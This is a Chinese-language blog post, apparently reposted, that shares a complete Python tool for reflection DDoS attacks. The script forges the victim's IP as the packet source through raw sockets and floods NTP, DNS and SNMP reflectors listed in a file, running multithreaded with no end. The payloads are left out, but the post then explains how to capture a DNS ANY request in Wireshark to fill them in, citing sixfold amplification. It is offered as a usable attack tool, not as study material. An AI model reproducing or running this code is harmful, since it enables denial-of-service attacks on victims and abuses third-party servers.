之前发了一篇 ,本来今天的这个应该并到那篇文章里,共称为反射 DDOS 攻击扫描与利用,但是我怕这样做会教坏小孩子,我发第一篇 DDOS 文章的时候 freebuf 就 502 了。。。。。凑巧了,弄得我都不敢发利用代码了,但是我想了一天以后我觉得我还是发出来吧,毕竟我写的也不好,没必要藏着掖着的,我还会把 payload 去掉,让大家自己填写,这就不算是我搞破坏了。废话不多说了,赶紧发完下班了。
首先,我这是在 linux 环境下写的,开始我用 windows 开发的,但是总是不成功,调用 python 的原始套接字伪造源 IP 地址总是不能发出去,后来我换到 linux 上就好了(kali),我并没有调用第三方的库,只要是 linux+python 就可以执行,在执行之前需要 先在利用代码的同文件夹中建一个 ipaddress.txt 文件 ,作为反射攻击的反射资源地址池,多点少点都行,但是记住最后一行不要空着,不然程序报错,格式就如同下图(IP 地址,端口号):
利用代码就是如下这些了。。。。
- #!/usr/bin/python
- #-*-coding:utf-8-*-
- import socket
- import struct
- import random
- import threading
- class myThread (threading.Thread):
- def __init__(self,srcip,srcport):
- threading.Thread.__init__(self)
- self.srcip = srcip
- self.srcport =srcport
- def run(self):
- re_att(self.srcip,self.srcport)
- def checksum(data):
- s = 0
- n = len(data) % 2
- for i in range(0, len(data)-n, 2):
- s+= ord(data[i]) + (ord(data[i+1]) << 8)
- if n:
- s+= ord(data[i+1])
- while (s >> 16):
- s = (s & 0xFFFF) + (s >> 16)
- s = ~s & 0xffff
- return s
- def IP(source,destination,udplen):
- version = 4
- ihl = 5
- tos = 0
- tl = 20+udplen
- ip_id = random.randint(1,65530)
- flags = 0
- offset = 0
- ttl = 128
- protocol =17
- check =0
- source = socket.inet_aton(source)
- destination = socket.inet_aton(destination)
- ver_ihl = (version << 4)+ihl
- flags_offset = (flags << 13)+offset
- ip_header = struct.pack("!BBHHHBBH4s4s",
- ver_ihl,
- tos,
- tl,
- ip_id,
- flags_offset,
- ttl,
- protocol,
- check,
- source,
- destination)
- check=checksum(ip_header)
- ip_header = struct.pack("!BBHHHBBH4s4s",
- ver_ihl,
- tos,
- tl,
- ip_id,
- flags_offset,
- ttl,
- protocol,
- socket.htons(check),
- source,
- destination)
- return ip_header
- def udp(sp,dp,datalen):
- srcport=sp
- dstport=dp
- udplen=8+datalen
- udp_checksum=0
- udp_header = struct.pack("!HHHH",srcport,dstport,udplen,udp_checksum)
- return udp_header
- def re_att(srcip,srcport):
- NTP_data=#payload需要你们自己写啊,就是写\x0a 这种十六进制的就可以,不会写的话叫你们个简单方法,去whireshark上抓一个包
- DNS_data=#payload需要你们自己写啊
- SNMP_data=#payload需要你们自己写啊
- n=len(ipaddr)-1
- while 1:
- i=random.randint(0,n)
- ip_port=ipaddr[i]
- dstip=ip_port[0]
- dstport=int(ip_port[1])
- if dstport==123:
- data=NTP_data
- elif dstport==53:
- data=DNS_data
- elif dstport==161:
- data=SNMP_data
- else:
- print 'dest port error!'
- datalen=len(data)
- udp_header=udp(srcport,dstport,datalen)
- ip_header=IP(srcip,dstip,len(udp_header)+datalen)
- ip_packet=ip_header+udp_header+data
- s.sendto(ip_packet,(dstip,dstport))
- proto_udp=17
- proto_tcp=6
- s = socket.socket(socket.AF_INET,socket.SOCK_RAW,17)
- s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)
- ipaddr=[]
- f = open("ipaddress.txt","r")
- lines=f.readlines()
- for line in lines:
- line=line.strip('\r\n')
- l=line.split(',')
- ipaddr.append(l)
- srcip=raw_input('attack IP:')
- srcport=int(input('attack PORT:'))
- threads=int(input("线程数threads:"))
- threads_name=[]
- need=(srcip,srcport)
- for i in range(threads):
- threads_name.append('teread'+str(i))
- for i in range(threads):
- threads_name[i]=myThread(srcip,srcport)
- for i in range(threads):
- threads_name[i].start()
- #这个攻击没有结束,想停就直接关了终端就可以了
- #这个脚本支持多线程,但是要量力而行,我在虚拟机中10线程就有点卡了
这个工具没带 payload,但是我可以教大家一个简单的写 payload 的方法,就是用 whireshark 抓包
第一步,打开 kali whireshark 抓包,然后开 终端,用 dig 工具
看,这就能抓到一个 DNS 的请求和回复包了。这里用的是 ANY,请求 80 字节回复 486 字节,放大了 6 倍
第二步,点开请求包(就是 80 字节那个,别点开错了),选中 DNS 部分,然后复制,为 hex 转储
第三步,打开个记事本,把刚才的粘贴进去,这不就是十六进制的 payload 了吗,把前面的 0000 那些删掉,再把这些字符以'\xdf'+'\xdb'+….. 这种形式连起来就可以了
来源: http://www.tuicool.com/articles/qa6zeyM